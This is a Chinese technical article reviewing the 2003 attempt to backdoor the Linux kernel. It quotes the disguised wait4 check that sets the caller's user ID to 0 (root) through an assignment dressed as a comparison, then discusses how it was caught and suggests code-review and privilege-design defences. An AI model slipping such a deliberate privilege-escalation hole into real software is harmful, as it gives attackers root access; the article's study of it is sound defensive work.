写点什么

回顾 Linux 内核后门

  • 2013-12-29
  • 本文字数:1138 字

    阅读完需:约 4 分钟

由于最近大众对美国国家安全局(NAS)的关注,人们的注意力转移到后门程序上。对于不熟悉该术语的人们,后门是一种有意在操作系统或软件中植入的漏洞,允许未授权的用户访问系统。在 2003 年曾经有人试图向 Linux 内核植入后门,虽然被发现了,但是这表明不论看上去多普通的变更都会引入漏洞,以及源码控制管理的重要性。

Corbet 在 LVN.Net 的文章中首次提到以下这段代码,它把自己伪装成类似 wait4 函数的参数校验。

复制代码
if((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

正常情况下没有任何影响,但是如果调用程序故意传入非法值,if 表达式的第二部分就会执行。该部分会将程序的用户 ID(current->uid)设为 0, 在 Linux 中就是 root 用户。

一眼看上去这就像是一个简单的代码错误,开发人员经常疏忽将’==‘写成’=’。虽然你认为函数 wait4 不应该与用户 ID 有任何关系,但是很明显这是故意为为之。

Corbet 描述了该后门是如何被发现的

CVS 库中的每个变更都会包含反向链接信息,表明与 BitKeeper 中的变更相同。有问题的变更缺少这样的信息,所以很快就能辨认出来。 试图通过这种方式进行变更是很可疑的,至少可以这么说,所以我们非常关注变更请求到底是什么。

攻击者曾经再次向 BitKeeper 库的 CVS 克隆库中植入后门。他继续说道

CVS 代码库是从 BitKeeper 生成的,但是补丁程序进入 BitKeeper 代码库并不经过它。所以有问题的代码只会影响基于 CVS 代码库工作的用户。发行商使用的内核不是来自该库,这次事故也说明,问题代码能够驻留很长一段时间。

大家想象一下,如果有人向代码库发起这样的攻击,增加几行看上去很好的代码,实际上植入了一个后门,而代码库没有 Linux 内核团队的控制和严格检查,你如何保护自己不受攻击。

一种方式是在应用程序中创建自己的“内核”,只有这段代码可以改变用户的角色和权限。其他的代码只是获取到用户权限的只读视图,这样他们就不能轻易得获取 root 权限。

在这样的模型中,"current->uid=0"这样的代码不会编译。如果任何人想实施攻击,或是直接修改应用程序的安全模块,但是我们会密切关注这样的修改,或是使用反射的伎俩,但是反射代码肯定比简单的赋值操作更容易被察觉到。

如果语言层面支持,一种更好的方式是使用户权限完全不可变。这种方式能够更大程度限制攻击发生的地方,只能是创建权限的地方。

这些措施应该配合对源码控制服务器的限制进行实施。一是限制尽可能少的人向主分支中提交代码,而不是过于开放;二是安全敏感代码默认应该完全锁定,只能根据问题具体情况授予编辑权限,实施的具体方法依赖此人是否使用分布式或集中式的源码控制以及具体的产品。

如果没有在变更代码成为产品之前进行审计,最终这些技术都会失效,这些措施只能减少审计疏漏问题发生的可能性。

2013-12-29 22:134679
用户头像

发布了 28 篇内容, 共 11.3 次阅读, 收获喜欢 0 次。

关注

评论

发布
暂无评论
发现更多内容

牛客网论坛最具争议的Java面试成神笔记,GitHub已下载量已过百万

Java~~~

Java 架构 面试 算法 架构师

还不了解 static ?年轻人,劝你耗子尾汁...

神策技术社区

数据分析 大前端 后端 埋点

ipfs挖矿是怎样赚钱的?ipfs挖矿值得投资吗?

IPFS挖矿值得投资吗 IPFS挖矿是怎样赚钱的

OceanBase源码解读(二):SQL的一生

OceanBase 数据库

数据库 分布式数据库 oceanbase OceanBase 开源 OceanBase 社区版

架构实战营模块五作业

maybe

ipfs矿机公司实力排行如何?ipfs矿机排名如何?

ipfs矿机公司实力排行如何 ipfs矿机排名如何

容器化 | ClickHouse on K8s 部署篇【建议收藏】

RadonDB

数据库 Kubernetes Clickhouse

数字人民币专利数激增, “区块链”领域大有可为

CECBC

当知识图谱遇上预训练语言模型

博文视点Broadview

插上NIO翅膀,FunTester飞上天

FunTester

nio 性能测试 接口测试 测试框架 FunTester

神策分析 iOS SDK 全埋点解析之元素点击与页面浏览

神策技术社区

大前端 后端 数据 埋点

微服务架构师-docker私有镜像仓库的配置和使用

学神来啦

Linux 容器 微服务 运维 架构师

八家知名大厂联合手写的Java面试手册刚上线!竟就到达巅峰?

Java~~~

Java 架构 面试 JVM 多线程

CODING DevOps 高级架构师王炜入选木兰开源社区首批导师

CODING DevOps

DevOps Nocalhost 木兰开源社区 开发者生态

金融助力补链强链 科技发挥关键作用

CECBC

2021 年 iOS 应用程序开发七种最佳语言

iOSer

Java flutter ios objective-c swift

DAPP去中心化交易所开发|DAPP与APP的区别

Geek_23f0c3

交易所开发 去中心化交易所系统开发 DAPP智能合约交易系统开发

浅析fil:fil未来价值到底在哪?

区块链 分布式存储 IPFS fil FIL价值

python——利用tkinter制作可视化窗体1

YUKI0506

OceanBase数据库源码解读之模块结构

OceanBase 数据库

数据库 分布式数据库 oceanbase OceanBase 开源 OceanBase 社区版

python3学习笔记-20210817(变量名与字符串)

姬翔

「最好」的敌人是「好」

非著名程序员

提升认知 认知提升 个人提升 8月日更

基于springcloud springboot vue elementui商城源码毕设实战

清风

Vue Java 分布式 毕业设计

经济学人:若比特币价格清零会怎样?

CECBC

activiti整合在现有系统,业务绑定,流程在线设计@附源码

金陵老街

Activity之间跳转时,生命周期的变化

W🌥

android 8月日更

2021 OceanBase 数据库大赛来袭!邀你改编世界,码出未来

OceanBase 数据库

数据库 oceanbase OceanBase 开源 OceanBase 社区版 OceanBase 数据库大赛

GIT远程仓库

一个大红包

8月日更

python——execl写入数据2

YUKI0506

为什么你的数据总是丢?

神策技术社区

数据分析 大前端 后端 埋点

上游思维:在系统的关键处找一个支点

石云升

读书笔记 8月日更 上游思维

回顾Linux内核后门_安全_Jonathan Allen_InfoQ精选文章